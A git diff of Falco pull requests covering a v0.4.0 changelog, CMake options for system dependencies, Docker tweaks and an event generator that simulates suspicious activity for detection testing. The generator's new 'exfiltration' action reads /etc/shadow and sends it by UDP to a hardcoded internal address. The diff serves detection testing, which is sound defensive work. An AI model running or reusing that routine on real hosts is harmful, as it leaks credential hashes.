Merge pull request #169 from jcoetzee/systemd

Add systemd as a login binary
Merge pull request #168 from jcoetzee/fail2ban
2026-03-20 03:32:09 +00:00 · 2016-12-16 11:43:07 -08:00 · 2016-12-16 09:38:57 -08:00 · 2016-12-16 11:27:43 +02:00 · 2016-12-16 11:18:47 +02:00 · 2016-12-14 18:29:27 -08:00
39 changed files with 1305 additions and 195 deletions
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -2,6 +2,51 @@

 This file documents all notable changes to Falco. The release numbering uses [semantic versioning](http://semver.org).

+## v0.4.0
+
+Released 2016-10-25
+
+As falco depends heavily on sysdig, many changes here were actually made to sysdig and pulled in as a part of the build process. Issues/PRs starting with `sysdig/#XXX` are sysdig changes.
+
+### Major Changes
+
+* Improved visibility into containers:
+** New filter `container.privileged` to match containers running in privileged mode [[sysdig/#655](https://github.com/draios/sysdig/pull/655)] [[sysdig/#658](https://github.com/draios/sysdig/pull/658)]
+** New rules utilizing privileged state [[#121](https://github.com/draios/falco/pull/121)]
+** New filters `container.mount*` to match container mount points [[sysdig/#655](https://github.com/draios/sysdig/pull/655)]
+** New rules utilizing container mount points [[#120](https://github.com/draios/falco/pull/120)]
+** New filter `container.image.id` to match container image id [[sysdig/#661](https://github.com/draios/sysdig/pull/661)]
+
+* Improved visibility into orchestration environments:
+** New k8s.deployment.* and k8s.rs.* filters to support latest kubernetes features [[sysdg/#dbf9b5c](https://github.com/draios/sysdig/commit/dbf9b5c893d49f945c59684b4effe5700d730973)]
+** Rule changes to avoid FPs when monitoring k8s environments [[#138](https://github.com/draios/falco/pull/138)]
+** Add new options `-pc`/`-pk`/`-pm`/`-k`/`-m` analogous to sysdig command line options. These options pull metadata information from k8s/mesos servers and adjust default falco notification outputs to contain container/orchestration information when applicable. [[#131](https://github.com/draios/falco/pull/131)] [[#134](https://github.com/draios/falco/pull/134)]
+
+* Improved ability to work with file pathnames:
+** Added `glob` operator for strings, works as classic shell glob path matcher [[sysdig/#653](https://github.com/draios/sysdig/pull/653)]
+** Added `pmatch` operator to efficiently test a subject pathname against a set of target pathnames, to see if the subject is a prefix of any target [[sysdig/#660](https://github.com/draios/sysdig/pull/660)] [[#125](https://github.com/draios/falco/pull/125)]
+
+### Minor Changes
+
+* Add an event generator program that simulates suspicious activity that can be detected by falco. This is also available as a docker image [[sysdig/falco-event-generator](https://hub.docker.com/r/sysdig/falco-event-generator/)]. [[#113](https://github.com/draios/falco/pull/113)] [[#132](https://github.com/draios/falco/pull/132)]
+* Changed rule names to be human readable [[#116](https://github.com/draios/falco/pull/116)]
+* Add Copyright notice to all source files [[#126](https://github.com/draios/falco/pull/126)]
+* Changes to docker images to make it easier to massage JSON output for webhooks [[#133](https://github.com/draios/falco/pull/133)]
+* When run with `-v`, print statistics on the number of events processed and dropped [[#139](https://github.com/draios/falco/pull/139)]
+* Add ability to write trace files with `-w`. This can be useful to write a trace file in parallel with live event monitoring so you can reproduce it later. [[#140](https://github.com/draios/falco/pull/140)]
+* All rules can now take an optional `enabled` flag. With `enabled: false`, a rule will not be loaded or run against events. By default all rules are enabled [[#119](https://github.com/draios/falco/pull/119)]
+
+### Bug Fixes
+
+* Fixed rule FPs related to docker's `docker`/`dockerd` split in 1.12 [[#112](https://github.com/draios/falco/pull/112)]
+* Fixed rule FPs related to sysdigcloud agent software [[#141](https://github.com/draios/falco/pull/141)]
+* Minor changes to node.js example to avoid falco false positives [[#111](https://github.com/draios/falco/pull/111/)]
+* Fixed regression that broke configurable outputs [[#117](https://github.com/draios/falco/pull/117)]. This was not broken in 0.3.0, just between 0.3.0 and 0.4.0.
+* Fixed a lua stack leak that could cause problems when matching millions of events against a large set of rules [[#123](https://github.com/draios/falco/pull/123)]
+* Update docker files to reflect changes to `debian:unstable` docker image [[#124](https://github.com/draios/falco/pull/124)]
+* Fixed logic for detecting config files to ensure config files in `/etc/falco.yaml` are properly detected  [[#135](https://github.com/draios/falco/pull/135)] [[#136](https://github.com/draios/falco/pull/136)]
+* Don't alert on falco spawning a shell for program output notifications [[#137](https://github.com/draios/falco/pull/137)]
+
 ## v0.3.0

 Released 2016-08-05
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
@@ -47,99 +47,193 @@ set(SYSDIG_DIR "${PROJECT_SOURCE_DIR}/../sysdig")

 include(ExternalProject)

-set(ZLIB_SRC "${PROJECT_BINARY_DIR}/zlib-prefix/src/zlib")
-message(STATUS "Using bundled zlib in '${ZLIB_SRC}'")
-set(ZLIB_INCLUDE "${ZLIB_SRC}")
-set(ZLIB_LIB "${ZLIB_SRC}/libz.a")
-ExternalProject_Add(zlib
+option(USE_BUNDLED_DEPS "Enable bundled dependencies instead of using the system ones" ON)
+
+#
+# zlib
+
+option(USE_BUNDLED_ZLIB "Enable building of the bundled zlib" ${USE_BUNDLED_DEPS})
+
+if(NOT USE_BUNDLED_ZLIB)
+	find_path(ZLIB_INCLUDE zlib.h PATH_SUFFIXES zlib)
+	find_library(ZLIB_LIB NAMES z)
+	if(ZLIB_INCLUDE AND ZLIB_LIB)
+		message(STATUS "Found zlib: include: ${ZLIB_INCLUDE}, lib: ${ZLIB_LIB}")
+	else()
+		message(FATAL_ERROR "Couldn't find system zlib")
+	endif()
+else()
+        set(ZLIB_SRC "${PROJECT_BINARY_DIR}/zlib-prefix/src/zlib")
+        message(STATUS "Using bundled zlib in '${ZLIB_SRC}'")
+        set(ZLIB_INCLUDE "${ZLIB_SRC}")
+        set(ZLIB_LIB "${ZLIB_SRC}/libz.a")
+        ExternalProject_Add(zlib
 		URL "http://download.draios.com/dependencies/zlib-1.2.8.tar.gz"
 		URL_MD5 "44d667c142d7cda120332623eab69f40"
 		CONFIGURE_COMMAND "./configure"
 		BUILD_COMMAND ${CMD_MAKE}
 		BUILD_IN_SOURCE 1
 		INSTALL_COMMAND "")
+endif()

-set(JQ_SRC "${PROJECT_BINARY_DIR}/jq-prefix/src/jq")
-message(STATUS "Using bundled jq in '${JQ_SRC}'")
-set(JQ_INCLUDE "${JQ_SRC}")
-set(JQ_LIB "${JQ_SRC}/.libs/libjq.a")
-ExternalProject_Add(jq
+#
+# jq
+#
+option(USE_BUNDLED_JQ "Enable building of the bundled jq" ${USE_BUNDLED_DEPS})
+if(NOT USE_BUNDLED_JQ)
+	find_path(JQ_INCLUDE jq.h PATH_SUFFIXES jq)
+	find_library(JQ_LIB NAMES jq)
+	if(JQ_INCLUDE AND JQ_LIB)
+		message(STATUS "Found jq: include: ${JQ_INCLUDE}, lib: ${JQ_LIB}")
+	else()
+		message(FATAL_ERROR "Couldn't find system jq")
+	endif()
+else()
+        set(JQ_SRC "${PROJECT_BINARY_DIR}/jq-prefix/src/jq")
+        message(STATUS "Using bundled jq in '${JQ_SRC}'")
+        set(JQ_INCLUDE "${JQ_SRC}")
+        set(JQ_LIB "${JQ_SRC}/.libs/libjq.a")
+        ExternalProject_Add(jq
                URL "http://download.draios.com/dependencies/jq-1.5.tar.gz"
                URL_MD5 "0933532b086bd8b6a41c1b162b1731f9"
                CONFIGURE_COMMAND ./configure --disable-maintainer-mode --enable-all-static --disable-dependency-tracking
                BUILD_COMMAND ${CMD_MAKE} LDFLAGS=-all-static
                BUILD_IN_SOURCE 1
                INSTALL_COMMAND "")
+endif()

 set(JSONCPP_SRC "${SYSDIG_DIR}/userspace/libsinsp/third-party/jsoncpp")
 set(JSONCPP_INCLUDE "${JSONCPP_SRC}")
 set(JSONCPP_LIB_SRC "${JSONCPP_SRC}/jsoncpp.cpp")

+#
+# curses
+#
 # we pull this in because libsinsp won't build without it
-set(CURSES_BUNDLE_DIR "${PROJECT_BINARY_DIR}/ncurses-prefix/src/ncurses")
-set(CURSES_INCLUDE_DIR "${CURSES_BUNDLE_DIR}/include/")
-set(CURSES_LIBRARIES "${CURSES_BUNDLE_DIR}/lib/libncurses.a")
-message(STATUS "Using bundled ncurses in '${CURSES_BUNDLE_DIR}'")
-ExternalProject_Add(ncurses
+
+option(USE_BUNDLED_NCURSES "Enable building of the bundled ncurses" ${USE_BUNDLED_DEPS})
+
+if(NOT USE_BUNDLED_NCURSES)
+	set(CURSES_NEED_NCURSES TRUE)
+	find_package(Curses REQUIRED)
+	message(STATUS "Found ncurses: include: ${CURSES_INCLUDE_DIR}, lib: ${CURSES_LIBRARIES}")
+else()
+	set(CURSES_BUNDLE_DIR "${PROJECT_BINARY_DIR}/ncurses-prefix/src/ncurses")
+	set(CURSES_INCLUDE_DIR "${CURSES_BUNDLE_DIR}/include/")
+	set(CURSES_LIBRARIES "${CURSES_BUNDLE_DIR}/lib/libncurses.a")
+	message(STATUS "Using bundled ncurses in '${CURSES_BUNDLE_DIR}'")
+	ExternalProject_Add(ncurses
 		URL "http://download.draios.com/dependencies/ncurses-6.0-20150725.tgz"
 		URL_MD5 "32b8913312e738d707ae68da439ca1f4"
 		CONFIGURE_COMMAND ./configure --without-cxx --without-cxx-binding --without-ada --without-manpages --without-progs --without-tests --with-terminfo-dirs=/etc/terminfo:/lib/terminfo:/usr/share/terminfo
 		BUILD_COMMAND ${CMD_MAKE}
 		BUILD_IN_SOURCE 1
 		INSTALL_COMMAND "")
+endif()

+#
+# libb64
+#
+option(USE_BUNDLED_B64 "Enable building of the bundled b64" ${USE_BUNDLED_DEPS})

-set(B64_SRC "${PROJECT_BINARY_DIR}/b64-prefix/src/b64")
-message(STATUS "Using bundled b64 in '${B64_SRC}'")
-set(B64_INCLUDE "${B64_SRC}/include")
-set(B64_LIB "${B64_SRC}/src/libb64.a")
-ExternalProject_Add(b64
+if(NOT USE_BUNDLED_B64)
+	find_path(B64_INCLUDE NAMES b64/encode.h)
+	find_library(B64_LIB NAMES b64)
+	if(B64_INCLUDE AND B64_LIB)
+		message(STATUS "Found b64: include: ${B64_INCLUDE}, lib: ${B64_LIB}")
+	else()
+		message(FATAL_ERROR "Couldn't find system b64")
+	endif()
+else()
+	set(B64_SRC "${PROJECT_BINARY_DIR}/b64-prefix/src/b64")
+	message(STATUS "Using bundled b64 in '${B64_SRC}'")
+	set(B64_INCLUDE "${B64_SRC}/include")
+	set(B64_LIB "${B64_SRC}/src/libb64.a")
+	ExternalProject_Add(b64
 		URL "http://download.draios.com/dependencies/libb64-1.2.src.zip"
 		URL_MD5 "a609809408327117e2c643bed91b76c5"
 		CONFIGURE_COMMAND ""
 		BUILD_COMMAND ${CMD_MAKE}
 		BUILD_IN_SOURCE 1
 		INSTALL_COMMAND "")
+endif()

+#
+# yamlcpp
+#
+option(USE_BUNDLED_YAMLCPP "Enable building of the bundled yamlcpp" ${USE_BUNDLED_DEPS})

-set(YAMLCPP_SRC "${PROJECT_BINARY_DIR}/yamlcpp-prefix/src/yamlcpp")
-message(STATUS "Using bundled yaml-cpp in '${YAMLCPP_SRC}'")
-set(YAMLCPP_LIB "${YAMLCPP_SRC}/libyaml-cpp.a")
-set(YAMLCPP_INCLUDE_DIR "${YAMLCPP_SRC}/include")
-# Once the next version of yaml-cpp is released (first version not requiring
-# boost), we can switch to that and no longer pull from github.
-ExternalProject_Add(yamlcpp
+if(NOT USE_BUNDLED_YAMLCPP)
+	find_path(YAMLCPP_INCLUDE_DIR NAMES yaml-cpp/yaml.h)
+	find_library(YAMLCPP_LIB NAMES yaml-cpp)
+	if(YAMLCPP_INCLUDE_DIR AND YAMLCPP_LIB)
+		message(STATUS "Found yamlcpp: include: ${YAMLCPP_INCLUDE_DIR}, lib: ${YAMLCPP_LIB}")
+	else()
+		message(FATAL_ERROR "Couldn't find system yamlcpp")
+	endif()
+else()
+	set(YAMLCPP_SRC "${PROJECT_BINARY_DIR}/yamlcpp-prefix/src/yamlcpp")
+	message(STATUS "Using bundled yaml-cpp in '${YAMLCPP_SRC}'")
+	set(YAMLCPP_LIB "${YAMLCPP_SRC}/libyaml-cpp.a")
+	set(YAMLCPP_INCLUDE_DIR "${YAMLCPP_SRC}/include")
+	# Once the next version of yaml-cpp is released (first version not requiring
+	# boost), we can switch to that and no longer pull from github.
+	ExternalProject_Add(yamlcpp
 		GIT_REPOSITORY "https://github.com/jbeder/yaml-cpp.git"
 		GIT_TAG "7d2873ce9f2202ea21b6a8c5ecbc9fe38032c229"
 		BUILD_IN_SOURCE 1
 		INSTALL_COMMAND "")
+endif()

-set(OPENSSL_BUNDLE_DIR "${PROJECT_BINARY_DIR}/openssl-prefix/src/openssl")
-set(OPENSSL_INSTALL_DIR "${OPENSSL_BUNDLE_DIR}/target")
-set(OPENSSL_INCLUDE_DIR "${PROJECT_BINARY_DIR}/openssl-prefix/src/openssl/include")
-set(OPENSSL_LIBRARY_SSL "${OPENSSL_INSTALL_DIR}/lib/libssl.a")
-set(OPENSSL_LIBRARY_CRYPTO "${OPENSSL_INSTALL_DIR}/lib/libcrypto.a")
+#
+# OpenSSL
+#
+option(USE_BUNDLED_OPENSSL "Enable building of the bundled OpenSSL" ${USE_BUNDLED_DEPS})

-message(STATUS "Using bundled openssl in '${OPENSSL_BUNDLE_DIR}'")
+if(NOT USE_BUNDLED_OPENSSL)
+	find_package(OpenSSL REQUIRED)
+	message(STATUS "Found OpenSSL: include: ${OPENSSL_INCLUDE_DIR}, lib: ${OPENSSL_LIBRARIES}")
+else()

-ExternalProject_Add(openssl
+	set(OPENSSL_BUNDLE_DIR "${PROJECT_BINARY_DIR}/openssl-prefix/src/openssl")
+	set(OPENSSL_INSTALL_DIR "${OPENSSL_BUNDLE_DIR}/target")
+	set(OPENSSL_INCLUDE_DIR "${PROJECT_BINARY_DIR}/openssl-prefix/src/openssl/include")
+	set(OPENSSL_LIBRARY_SSL "${OPENSSL_INSTALL_DIR}/lib/libssl.a")
+	set(OPENSSL_LIBRARY_CRYPTO "${OPENSSL_INSTALL_DIR}/lib/libcrypto.a")
+
+	message(STATUS "Using bundled openssl in '${OPENSSL_BUNDLE_DIR}'")
+
+	ExternalProject_Add(openssl
 		URL "http://download.draios.com/dependencies/openssl-1.0.2d.tar.gz"
 		URL_MD5 "38dd619b2e77cbac69b99f52a053d25a"
 		CONFIGURE_COMMAND ./config shared --prefix=${OPENSSL_INSTALL_DIR}
 		BUILD_COMMAND ${CMD_MAKE}
 		BUILD_IN_SOURCE 1
 		INSTALL_COMMAND ${CMD_MAKE} install)
+endif()

-set(CURL_SSL_OPTION "--with-ssl=${OPENSSL_INSTALL_DIR}")
+#
+# libcurl
+#
+option(USE_BUNDLED_CURL "Enable building of the bundled curl" ${USE_BUNDLED_DEPS})

+if(NOT USE_BUNDLED_CURL)
+	find_package(CURL REQUIRED)
+	message(STATUS "Found CURL: include: ${CURL_INCLUDE_DIR}, lib: ${CURL_LIBRARIES}")
+else()
+	set(CURL_BUNDLE_DIR "${PROJECT_BINARY_DIR}/curl-prefix/src/curl")
+	set(CURL_INCLUDE_DIR "${CURL_BUNDLE_DIR}/include/")
+	set(CURL_LIBRARIES "${CURL_BUNDLE_DIR}/lib/.libs/libcurl.a")

-set(CURL_BUNDLE_DIR "${PROJECT_BINARY_DIR}/curl-prefix/src/curl")
-set(CURL_INCLUDE_DIR "${CURL_BUNDLE_DIR}/include/")
-set(CURL_LIBRARIES "${CURL_BUNDLE_DIR}/lib/.libs/libcurl.a")
-message(STATUS "Using bundled curl in '${CURL_BUNDLE_DIR}'")
-message(STATUS "Using SSL for curl in '${CURL_SSL_OPTION}'")
+	if(NOT USE_BUNDLED_OPENSSL)
+		set(CURL_SSL_OPTION "--with-ssl")
+	else()
+		set(CURL_SSL_OPTION "--with-ssl=${OPENSSL_INSTALL_DIR}")
+                message(STATUS "Using bundled curl in '${CURL_BUNDLE_DIR}'")
+                message(STATUS "Using SSL for curl in '${CURL_SSL_OPTION}'")
+	endif()

-ExternalProject_Add(curl
+	ExternalProject_Add(curl
 		DEPENDS openssl
 		URL "http://download.draios.com/dependencies/curl-7.45.0.tar.bz2"
 		URL_MD5 "62c1a352b28558f25ba6209214beadc8"
@@ -147,50 +241,120 @@ ExternalProject_Add(curl
 		BUILD_COMMAND ${CMD_MAKE}
 		BUILD_IN_SOURCE 1
 		INSTALL_COMMAND "")
+endif()

-set(LUAJIT_SRC "${PROJECT_BINARY_DIR}/luajit-prefix/src/luajit/src")
-message(STATUS "Using bundled LuaJIT in '${LUAJIT_SRC}'")
-set(LUAJIT_INCLUDE "${LUAJIT_SRC}")
-set(LUAJIT_LIB "${LUAJIT_SRC}/libluajit.a")
-ExternalProject_Add(luajit
+#
+# LuaJIT
+#
+option(USE_BUNDLED_LUAJIT "Enable building of the bundled LuaJIT" ${USE_BUNDLED_DEPS})
+
+if(NOT USE_BUNDLED_LUAJIT)
+	find_path(LUAJIT_INCLUDE luajit.h PATH_SUFFIXES luajit-2.0 luajit)
+	find_library(LUAJIT_LIB NAMES luajit luajit-5.1)
+	if(LUAJIT_INCLUDE AND LUAJIT_LIB)
+		message(STATUS "Found LuaJIT: include: ${LUAJIT_INCLUDE}, lib: ${LUAJIT_LIB}")
+	else()
+		# alternatively try stock Lua
+		find_package(Lua51)
+		set(LUAJIT_LIB ${LUA_LIBRARY})
+		set(LUAJIT_INCLUDE ${LUA_INCLUDE_DIR})
+
+		if(NOT ${LUA51_FOUND})
+			message(FATAL_ERROR "Couldn't find system LuaJIT or Lua")
+		endif()
+	endif()
+else()
+	set(LUAJIT_SRC "${PROJECT_BINARY_DIR}/luajit-prefix/src/luajit/src")
+	message(STATUS "Using bundled LuaJIT in '${LUAJIT_SRC}'")
+	set(LUAJIT_INCLUDE "${LUAJIT_SRC}")
+	set(LUAJIT_LIB "${LUAJIT_SRC}/libluajit.a")
+	ExternalProject_Add(luajit
 		URL "http://download.draios.com/dependencies/LuaJIT-2.0.3.tar.gz"
 		URL_MD5 "f14e9104be513913810cd59c8c658dc0"
 		CONFIGURE_COMMAND ""
 		BUILD_COMMAND ${CMD_MAKE}
 		BUILD_IN_SOURCE 1
 		INSTALL_COMMAND "")
+endif()

-set (LPEG_SRC "${PROJECT_BINARY_DIR}/lpeg-prefix/src/lpeg")
-set (LPEG_LIB "${PROJECT_BINARY_DIR}/lpeg-prefix/src/lpeg/build/lpeg.a")
-ExternalProject_Add(lpeg
-                    DEPENDS luajit
-		    URL "http://s3.amazonaws.com/download.draios.com/dependencies/lpeg-1.0.0.tar.gz"
-                    URL_MD5 "0aec64ccd13996202ad0c099e2877ece"
-                    BUILD_COMMAND LUA_INCLUDE=${LUAJIT_INCLUDE} "${PROJECT_SOURCE_DIR}/scripts/build-lpeg.sh" "${LPEG_SRC}/build"
-                    BUILD_IN_SOURCE 1
-		    CONFIGURE_COMMAND ""
-                    INSTALL_COMMAND "")
+#
+# Lpeg
+#
+option(USE_BUNDLED_LPEG "Enable building of the bundled lpeg" ${USE_BUNDLED_DEPS})

+if(NOT USE_BUNDLED_LPEG)
+	find_library(LPEG_LIB NAMES lpeg.a)
+	if(LPEG_LIB)
+		message(STATUS "Found lpeg: lib: ${LPEG_LIB}")
+	else()
+		message(FATAL_ERROR "Couldn't find system lpeg")
+	endif()
+else()
+	set(LPEG_SRC "${PROJECT_BINARY_DIR}/lpeg-prefix/src/lpeg")
+	set(LPEG_LIB "${PROJECT_BINARY_DIR}/lpeg-prefix/src/lpeg/build/lpeg.a")
+	ExternalProject_Add(lpeg
+                DEPENDS luajit
+		URL "http://s3.amazonaws.com/download.draios.com/dependencies/lpeg-1.0.0.tar.gz"
+                URL_MD5 "0aec64ccd13996202ad0c099e2877ece"
+                BUILD_COMMAND LUA_INCLUDE=${LUAJIT_INCLUDE} "${PROJECT_SOURCE_DIR}/scripts/build-lpeg.sh" "${LPEG_SRC}/build"
+                BUILD_IN_SOURCE 1
+		CONFIGURE_COMMAND ""
+                INSTALL_COMMAND "")
+endif()

-set (LIBYAML_SRC "${PROJECT_BINARY_DIR}/libyaml-prefix/src/libyaml/src")
-set(LIBYAML_LIB "${LIBYAML_SRC}/.libs/libyaml.a")
-ExternalProject_Add(libyaml
-		    URL "http://download.draios.com/dependencies/libyaml-0.1.4.tar.gz"
-                    URL_MD5 "4a4bced818da0b9ae7fc8ebc690792a7"
-                    BUILD_COMMAND ${CMD_MAKE}
-                    BUILD_IN_SOURCE 1
-		    CONFIGURE_COMMAND ./bootstrap && ./configure
-                    INSTALL_COMMAND "")
+#
+# Libyaml
+#
+option(USE_BUNDLED_LIBYAML "Enable building of the bundled libyaml" ${USE_BUNDLED_DEPS})

-set (LYAML_SRC "${PROJECT_BINARY_DIR}/lyaml-prefix/src/lyaml/ext/yaml")
-set(LYAML_LIB "${LYAML_SRC}/.libs/yaml.a")
-ExternalProject_Add(lyaml
-		    URL "http://download.draios.com/dependencies/lyaml-release-v6.0.tar.gz"
-                    URL_MD5 "dc3494689a0dce7cf44e7a99c72b1f30"
-                    BUILD_COMMAND ${CMD_MAKE}
-                    BUILD_IN_SOURCE 1
-		    CONFIGURE_COMMAND ./configure --enable-static LIBS=-L../../../libyaml-prefix/src/libyaml/src/.libs CFLAGS=-I../../../libyaml-prefix/src/libyaml/include CPPFLAGS=-I../../../libyaml-prefix/src/libyaml/include LUA_INCLUDE=-I../../../luajit-prefix/src/luajit/src LUA=../../../luajit-prefix/src/luajit/src/luajit
-                    INSTALL_COMMAND sh -c "cp -R ${PROJECT_BINARY_DIR}/lyaml-prefix/src/lyaml/lib/* ${PROJECT_SOURCE_DIR}/userspace/engine/lua")
+if(NOT USE_BUNDLED_LIBYAML)
+	# Note: to distinguish libyaml.a and yaml.a we specify a full
+	# file name here, so you'll have to arrange for static
+	# libraries being available.
+	find_library(LIBYAML_LIB NAMES libyaml.a)
+	if(LIBYAML_LIB)
+		message(STATUS "Found libyaml: lib: ${LIBYAML_LIB}")
+	else()
+		message(FATAL_ERROR "Couldn't find system libyaml")
+	endif()
+else()
+	set(LIBYAML_SRC "${PROJECT_BINARY_DIR}/libyaml-prefix/src/libyaml/src")
+	set(LIBYAML_LIB "${LIBYAML_SRC}/.libs/libyaml.a")
+	ExternalProject_Add(libyaml
+		URL "http://download.draios.com/dependencies/libyaml-0.1.4.tar.gz"
+                URL_MD5 "4a4bced818da0b9ae7fc8ebc690792a7"
+                BUILD_COMMAND ${CMD_MAKE}
+                BUILD_IN_SOURCE 1
+		CONFIGURE_COMMAND ./bootstrap && ./configure
+                INSTALL_COMMAND "")
+endif()
+
+#
+# lyaml
+#
+option(USE_BUNDLED_LYAML "Enable building of the bundled lyaml" ${USE_BUNDLED_DEPS})
+
+if(NOT USE_BUNDLED_LYAML)
+	# Note: to distinguish libyaml.a and yaml.a we specify a full
+	# file name here, so you'll have to arrange for static
+	# libraries being available.
+	find_library(LYAML_LIB NAMES yaml.a)
+	if(LYAML_LIB)
+		message(STATUS "Found lyaml: lib: ${LYAML_LIB}")
+	else()
+		message(FATAL_ERROR "Couldn't find system lyaml")
+	endif()
+else()
+	set(LYAML_SRC "${PROJECT_BINARY_DIR}/lyaml-prefix/src/lyaml/ext/yaml")
+	set(LYAML_LIB "${LYAML_SRC}/.libs/yaml.a")
+	ExternalProject_Add(lyaml
+		URL "http://download.draios.com/dependencies/lyaml-release-v6.0.tar.gz"
+                URL_MD5 "dc3494689a0dce7cf44e7a99c72b1f30"
+                BUILD_COMMAND ${CMD_MAKE}
+                BUILD_IN_SOURCE 1
+		CONFIGURE_COMMAND ./configure --enable-static LIBS=-L../../../libyaml-prefix/src/libyaml/src/.libs CFLAGS=-I../../../libyaml-prefix/src/libyaml/include CPPFLAGS=-I../../../libyaml-prefix/src/libyaml/include LUA_INCLUDE=-I../../../luajit-prefix/src/luajit/src LUA=../../../luajit-prefix/src/luajit/src/luajit
+                INSTALL_COMMAND sh -c "cp -R ${PROJECT_BINARY_DIR}/lyaml-prefix/src/lyaml/lib/* ${PROJECT_SOURCE_DIR}/userspace/engine/lua")
+endif()

 install(FILES falco.yaml
 	DESTINATION "${FALCO_ETC_DIR}")
@@ -201,7 +365,7 @@ add_subdirectory("${SYSDIG_DIR}/userspace/libsinsp" "${PROJECT_BINARY_DIR}/users

 add_subdirectory(scripts)
 set(FALCO_SINSP_LIBRARY sinsp)
-set(FALCO_SHARE_DIR share/falco)
+set(FALCO_SHARE_DIR ${CMAKE_INSTALL_PREFIX}/share/falco)
 add_subdirectory(userspace/engine)
 add_subdirectory(userspace/falco)

--- a/README.md
+++ b/README.md
@@ -2,7 +2,7 @@

 ####Latest release

-**v0.3.0**
+**v0.4.0**
 Read the [change log](https://github.com/draios/falco/blob/dev/CHANGELOG.md)

 Dev Branch: [![Build Status](https://travis-ci.org/draios/falco.svg?branch=dev)](https://travis-ci.org/draios/falco)<br />
@@ -16,6 +16,7 @@ Sysdig Falco is a behavioral activity monitor designed to detect anomalous activ
 Falco can detect and alert on any behavior that involves making Linux system calls. Thanks to Sysdig's core decoding and state tracking functionality, falco alerts can be triggered by the use of specific system calls, their arguments, and by properties of the calling process. For example, you can easily detect things like:

 - A shell is run inside a container
+- A container is running in privileged mode, or is mounting a sensitive path like `/proc` from the host.
 - A server process spawns a child process of an unexpected type
 - Unexpected read of a sensitive file (like `/etc/shadow`)
 - A non-device file is written to `/dev`
--- a/docker/dev/Dockerfile
+++ b/docker/dev/Dockerfile
@@ -19,6 +19,7 @@ RUN echo "deb http://httpredir.debian.org/debian jessie main" > /etc/apt/sources
 && apt-get install -y --no-install-recommends \
 	bash-completion \
 	curl \
+	jq \
 	gnupg2 \
 	ca-certificates \
 	gcc \
--- a/docker/dev/docker-entrypoint.sh
+++ b/docker/dev/docker-entrypoint.sh
@@ -1,13 +1,17 @@
 #!/bin/bash
 #set -e

-echo "* Setting up /usr/src links from host"
+# Set the SYSDIG_SKIP_LOAD variable to skip loading the sysdig kernel module

-for i in $(ls $SYSDIG_HOST_ROOT/usr/src)
-do 
-	ln -s $SYSDIG_HOST_ROOT/usr/src/$i /usr/src/$i
-done
+if [[ -z "${SYSDIG_SKIP_LOAD}" ]]; then
+    echo "* Setting up /usr/src links from host"

-/usr/bin/sysdig-probe-loader
+    for i in $(ls $SYSDIG_HOST_ROOT/usr/src)
+    do
+        ln -s $SYSDIG_HOST_ROOT/usr/src/$i /usr/src/$i
+    done
+
+    /usr/bin/sysdig-probe-loader
+fi

 exec "$@"
--- a/docker/event-generator/event_generator.cpp
+++ b/docker/event-generator/event_generator.cpp
@@ -21,10 +21,13 @@ along with falco.  If not, see <http://www.gnu.org/licenses/>.
 #include <map>
 #include <set>
 #include <string>
+#include <fstream>
+#include <sstream>
 #include <cstring>
 #include <cstdlib>
 #include <unistd.h>
 #include <getopt.h>
+#include <sys/errno.h>
 #include <sys/types.h>
 #include <sys/stat.h>
 #include <sys/wait.h>
@@ -64,7 +67,12 @@ void usage(char *program)
 	printf("                                                     (used by user_mgmt_binaries below)\n");
 	printf("          user_mgmt_binaries                         Become the program \"vipw\", which triggers\n");
 	printf("                                                     rules related to user management programs\n");
+	printf("          exfiltration                               Read /etc/shadow and send it via udp to a\n");
+	printf("                                                     specific address and port\n");
 	printf("          all                                        All of the above\n");
+	printf("       The action can also be specified via the environment variable EVENT_GENERATOR_ACTIONS\n");
+	printf("           as a colon-separated list\n");
+	printf("       if specified, -a/--action overrides any environment variables\n");
 	printf("     -i/--interval: Number of seconds between actions\n");
 	printf("     -o/--once: Perform actions once and exit\n");
 }
@@ -83,6 +91,50 @@ void open_file(const char *filename, const char *flags)

 }

+void exfiltration()
+{
+	ifstream shadow;
+
+	shadow.open("/etc/shadow");
+
+	if(!shadow.is_open())
+	{
+		fprintf(stderr, "Could not open /etc/shadow for reading: %s", strerror(errno));
+		return;
+	}
+
+	string line;
+	string shadow_contents;
+	while (getline(shadow, line))
+	{
+		shadow_contents += line;
+		shadow_contents += "\n";
+	}
+
+	int rc;
+	ssize_t sent;
+	int sock = socket(PF_INET, SOCK_DGRAM, 0);
+	struct sockaddr_in dest;
+
+	dest.sin_family = AF_INET;
+	dest.sin_port = htons(8197);
+	inet_aton("10.5.2.6", &(dest.sin_addr));
+
+	if((rc = connect(sock, (struct sockaddr *) &dest, sizeof(dest))) != 0)
+	{
+		fprintf(stderr, "Could not bind listening socket to dest: %s\n", strerror(errno));
+		return;
+	}
+
+	if ((sent = send(sock, shadow_contents.c_str(), shadow_contents.size(), 0)) != shadow_contents.size())
+	{
+		fprintf(stderr, "Could not send shadow contents via udp datagram: %s\n", strerror(errno));
+		return;
+	}
+
+	close(sock);
+}
+
 void touch(const char *filename)
 {
 	open_file(filename, "w");
@@ -312,7 +364,8 @@ map<string, action_t> defined_actions = {{"write_binary_dir", write_binary_dir},
 					 {"non_sudo_setuid", non_sudo_setuid},
 					 {"create_files_below_dev", create_files_below_dev},
 					 {"exec_ls", exec_ls},
-					 {"user_mgmt_binaries", user_mgmt_binaries}};
+					 {"user_mgmt_binaries", user_mgmt_binaries},
+					 {"exfiltration", exfiltration}};


 void create_symlinks(const char *program)
@@ -403,6 +456,30 @@ int main(int argc, char **argv)
 		}
 	}

+	//
+        // Also look for actions in the environment. If specified, they
+        // override any specified on the command line.
+	//
+	char *env_action = getenv("EVENT_GENERATOR_ACTIONS");
+
+	if(env_action)
+	{
+		actions.clear();
+
+		string envs(env_action);
+		istringstream ss(envs);
+		string item;
+		while (std::getline(ss, item, ':'))
+		{
+			if((it = defined_actions.find(item)) == defined_actions.end())
+			{
+				fprintf(stderr, "No action with name \"%s\" known, exiting.\n", item.c_str());
+				exit(1);
+			}
+			actions.insert(*it);
+		}
+	}
+
 	if(actions.size() == 0)
 	{
 		actions = defined_actions;
--- a/docker/stable/Dockerfile
+++ b/docker/stable/Dockerfile
@@ -19,6 +19,7 @@ RUN echo "deb http://httpredir.debian.org/debian jessie main" > /etc/apt/sources
 && apt-get install -y --no-install-recommends \
 	bash-completion \
 	curl \
+	jq \
 	ca-certificates \
 	gnupg2 \
 	gcc \
